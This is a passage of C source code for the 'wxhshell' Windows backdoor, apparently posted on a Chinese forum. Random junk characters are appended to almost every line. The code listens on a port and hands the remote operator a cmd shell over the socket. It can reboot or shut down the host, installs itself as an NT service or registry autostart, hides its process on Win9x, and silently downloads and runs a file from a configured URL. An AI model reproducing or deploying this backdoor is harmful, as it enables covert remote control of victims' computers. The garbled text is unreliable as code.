  // 帮助 M2cGr  
  case '?': { Ti)Me-g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5?H8?~&dz  
    break; z# &1>  
  } P.Bwfa  
  // 安装 H}GGUE&c*  
  case 'i': { NL:-3W7vf  
    if(Install()) e4=FO;%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xRc+3Z= N  
    else 6ZE`'pk<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =At" Q6-O  
    break; %R?7u'=~  
    } QErdjjg E  
  // 卸载 \9`E17i  
  case 'r': { V. i{IW  
    if(Uninstall()) &X:;B'   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 15J"iN2"W  
    else Y910\h@V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yH" i5L9  
    break; Szt2 "AR  
    } $$ *tK8#  
  // 显示 wxhshell 所在路径 u_NLgM7*  
  case 'p': { &=)O:Jfa  
    char svExeFile[MAX_PATH]; l9uocP:D  
    strcpy(svExeFile,"\n\r"); G8vDy1`q6  
      strcat(svExeFile,ExeFile); G 3U[)("  
        send(wsh,svExeFile,strlen(svExeFile),0); X[ Ufq^fyA  
    break; /v9qrZ$$  
    } R /" f  
  // 重启 RgV3,z  
  case 'b': { bj@sci(1?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^X{U7?x  
    if(Boot(REBOOT)) `>UUdv{C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >z%YKdq  
    else { }I uqB*g[t  
    closesocket(wsh); }&/>v' G  
    ExitThread(0); nxhlTf>3  
    } :y7K3:d3  
    break; P9 HKev?y  
    } M7?ktK9`ma  
  // 关机 >x*[izr/K  
  case 'd': { 9soEHG=P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *7H *epUa  
    if(Boot(SHUTDOWN)) roc DO8f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >m lQ@Z_O  
    else { 'd Be,@  
    closesocket(wsh);  ^cw9Yjh6  
    ExitThread(0); v|~=rvXFC  
    } T1$p%yQH  
    break; (" :Dz_  
    } `Gv\"|Gn  
  // 获取shell N9|J\;fzT  
  case 's': { .?s jr4   
    CmdShell(wsh); o@gceZuk  
    closesocket(wsh); #pPOQv:~  
    ExitThread(0); ynM:]*~K  
    break; ./;uhj  
  } 94&t0j_  
  // 退出 .F$}a%  
  case 'x': { U9T}iI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  'V^M+ng  
    CloseIt(wsh); tf7HhOCYX  
    break; Gn4b*Y&M]3  
    } (N&i4O-I  
  // 离开 py7Zh%k  
  case 'q': { w( SY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A^M]vk%dg  
    closesocket(wsh); bv h#Q_  
    WSACleanup(); }v}F8}4  
    exit(1); )nf%S+KV  
    break; ,gNZHKNq  
        } u-&V, *3l  
  } Kkovp^G  
  } aHu0z:  
%XN;S29d5W  
  // 提示信息 -h7ssf'u[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]QR]#[Tn'  
} QAx9W%  
  } xP~GpVhLF  
ds+K7B$  
  return; \( V1-,  
} I,#E`)  
i[9gcL"  
// shell模块句柄 @,1_CqV  
int CmdShell(SOCKET sock) %T>@Ldt  
{ &iw,||#  
STARTUPINFO si; HdtGyh6X0  
ZeroMemory(&si,sizeof(si)); l(rm0_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i/-IjgM"-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Epp>L.?r  
PROCESS_INFORMATION ProcessInfo; .S|T{DMQ[  
char cmdline[]="cmd"; cO{NiRIb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lz>00B<Z  
  return 0; d+)LK~  
} $!. [R}  
^A&{g.0  
// 自身启动模式 |DW^bv  
int StartFromService(void) B!J?,SB  
{ SujEF` "  
typedef struct SaGI4O_\s  
{ aWimg6q  
  DWORD ExitStatus; G"&$7!6[Y  
  DWORD PebBaseAddress; [sG`D-\P[  
  DWORD AffinityMask; {J1rjrPo  
  DWORD BasePriority; XM!oN^  
  ULONG UniqueProcessId; KO8vUR*2R  
  ULONG InheritedFromUniqueProcessId; }2S!;swg+  
}   PROCESS_BASIC_INFORMATION; t)8c rX}P  
 !{V`N|0  
PROCNTQSIP NtQueryInformationProcess; ESoqmCJjb:  
OQ2G2>p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;DX{+Z[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pW8?EGO@  
ynra%"sd  
  HANDLE             hProcess; f 5bX,e)!  
  PROCESS_BASIC_INFORMATION pbi; 9Oj b~  
+7OE,RoQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U7fpaxc-  
  if(NULL == hInst ) return 0; )?&mCI*  
o/,%rA4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,[p?u']yZz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XdIno}pN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +e>G V61  
(421$w,B%  
  if (!NtQueryInformationProcess) return 0; o"RE4s\G~r  
" Ke_dM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =>Ae]mi 7  
  if(!hProcess) return 0; Kc r)W  
h\#4[/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C`Vuw|Xl  
1G`5FU  
  CloseHandle(hProcess); o+OX^F0  
*tZ3?X[b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |U1u:=[  
if(hProcess==NULL) return 0; 5C*Zb3VG4  
p({|=+bl  
HMODULE hMod; NY?iuWa*g  
char procName[255]; /Tl ybSC1  
unsigned long cbNeeded; )N{PWSPs  
8z=o.\@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |#*+#27  
oKSW:A  
  CloseHandle(hProcess); }1CO>a<  
`$ bQ8$+Ci  
if(strstr(procName,"services")) return 1; // 以服务启动 jc6~V$3  
nC/T$ #G  
  return 0; // 注册表启动 \K9Y@jnr  
} coaJDg+  
7m8:odeF  
// 主模块 6"?#s/fk  
int StartWxhshell(LPSTR lpCmdLine) lKI]q<2  
{ ,trh)ZZYW|  
  SOCKET wsl; \iEJ9V  
BOOL val=TRUE; ZKI` ;  
  int port=0; Ca"i<[8  
  struct sockaddr_in door; !Y^$rF-+  
&e[Lb:Uk)  
  if(wscfg.ws_autoins) Install(); hhjsg?4uL  
v/KTEM  
port=atoi(lpCmdLine); B7{j$0fm*  
]6=opvm  
if(port<=0) port=wscfg.ws_port; +W>tdxOh  
V/OW=WCzN  
  WSADATA data; cEJ_z(\=hr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F r2 +p  
 ;XYfw)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \hzx?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3_VWtGQ  
  door.sin_family = AF_INET; qj*BV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /e*<-a  
  door.sin_port = htons(port); z9#jXC#OdN  
f}FJR6VO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JLyFk V/  
closesocket(wsl); 84Hm PPt  
return 1; WFeaX7\b  
} 5U<o%+^El  
A]V<K[9:b  
  if(listen(wsl,2) == INVALID_SOCKET) { mW_A 3S5  
closesocket(wsl); Q%GLT,f1.  
return 1; E\}Q9, Z$  
} kr1^`>O5  
  Wxhshell(wsl); d7c m?+  
  WSACleanup(); Z[j-.,Qu  
)>=|oY3  
return 0; )^^}!U#|e  
~>$(5 s2  
} 10/3-)+  
!q PUQ+  
// 以NT服务方式启动 J _|>rfW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wVs|mG"  
{  -gS/  
DWORD   status = 0; ]}0+7Q  
  DWORD   specificError = 0xfffffff; / dn]`Ge)  
R91u6r#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D3 E!jQ1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2gjA>ET`N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 483vFLnF  
  serviceStatus.dwWin32ExitCode     = 0; ~Uz|sQ*G  
  serviceStatus.dwServiceSpecificExitCode = 0; :TWHmxch  
  serviceStatus.dwCheckPoint       = 0; }S&SL)  
  serviceStatus.dwWaitHint       = 0; L/cbq*L  
}KkH7XksF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0$49X  
  if (hServiceStatusHandle==0) return;  6Ue6b$xE  
t! Av [K  
status = GetLastError(); Vk~}^;`Y  
  if (status!=NO_ERROR) G}~b  
{ d{GXFT;0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WI'csM;M#  
    serviceStatus.dwCheckPoint       = 0; Z=sAR(n}~  
    serviceStatus.dwWaitHint       = 0; EA>$t\z  
    serviceStatus.dwWin32ExitCode     = status; AB#hh i#  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3vs2}IV'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !*#=7^#  
    return; [K9q+  
  } I3aEg  
+~/zCJ;F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \J\1i=a-=  
  serviceStatus.dwCheckPoint       = 0; CblL1q8  
  serviceStatus.dwWaitHint       = 0; f%auz4CZz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ap>n4~  
} !! K=v7M  
,|c_l)  
// 处理NT服务事件,比如:启动、停止 \S2'3SD d/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wj*6}N/  
{ wy&*6>.  
switch(fdwControl) O "h+i>|l  
{ n:!J3pR  
case SERVICE_CONTROL_STOP: I2l'y8)d  
  serviceStatus.dwWin32ExitCode = 0; a+BA~|u^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Em.?  
  serviceStatus.dwCheckPoint   = 0; W]*wxzf!5z  
  serviceStatus.dwWaitHint     = 0;  3i$AR  
  { {S&&X&A`v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YvHn~gNPhs  
  } +yea}uUE  
  return; Rx<pV_|H,  
case SERVICE_CONTROL_PAUSE: NAocmbfNz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -jw=Iyv  
  break; " 7 4L  
case SERVICE_CONTROL_CONTINUE: ]V]o%onW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XF$C)id2p  
  break; nW%c95E  
case SERVICE_CONTROL_INTERROGATE: +1623E  
  break; Gsh2  
}; 3a S>U #  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hg>YOf&RG  
} ! O>mu6:Rf  
Yr,1##u  
// 标准应用程序主函数 ^~I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +%~g$#tlJo  
{ 6u7HO-aa  
NV;tsuA|  
// 获取操作系统版本 \^:f4ZT  
OsIsNt=GetOsVer(); Te13Af~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q& \k"X1  
v>P){VT  
  // 从命令行安装 ?d%}K76V<  
  if(strpbrk(lpCmdLine,"iI")) Install(); ixkg,  
0nd<6S+fs  
  // 下载执行文件 MLb\:Ihy  
if(wscfg.ws_downexe) { G j:|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t8[:}[Jx  
  WinExec(wscfg.ws_filenam,SW_HIDE); [6tQv<}^  
} @'y"D  
$7*Ml)H!9  
if(!OsIsNt) { vtT:c.~d  
// 如果时win9x,隐藏进程并且设置为注册表启动 & Gt9a-ne  
HideProc(); +Snjb0  
StartWxhshell(lpCmdLine); :4Vt  
} g<-cHF  
else _ 8>"&1n  
  if(StartFromService()) w$!n8A qs  
  // 以服务方式启动 /L 4WWQ5  
  StartServiceCtrlDispatcher(DispatchTable); "8X+F%  
else ij),DbWd  
  // 普通方式启动 G#*;3X$  
  StartWxhshell(lpCmdLine); 6bn-NY:i  
b +_E)4  
return 0; }1P  
}
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只看该作者 1 发表于: 2006-10-10
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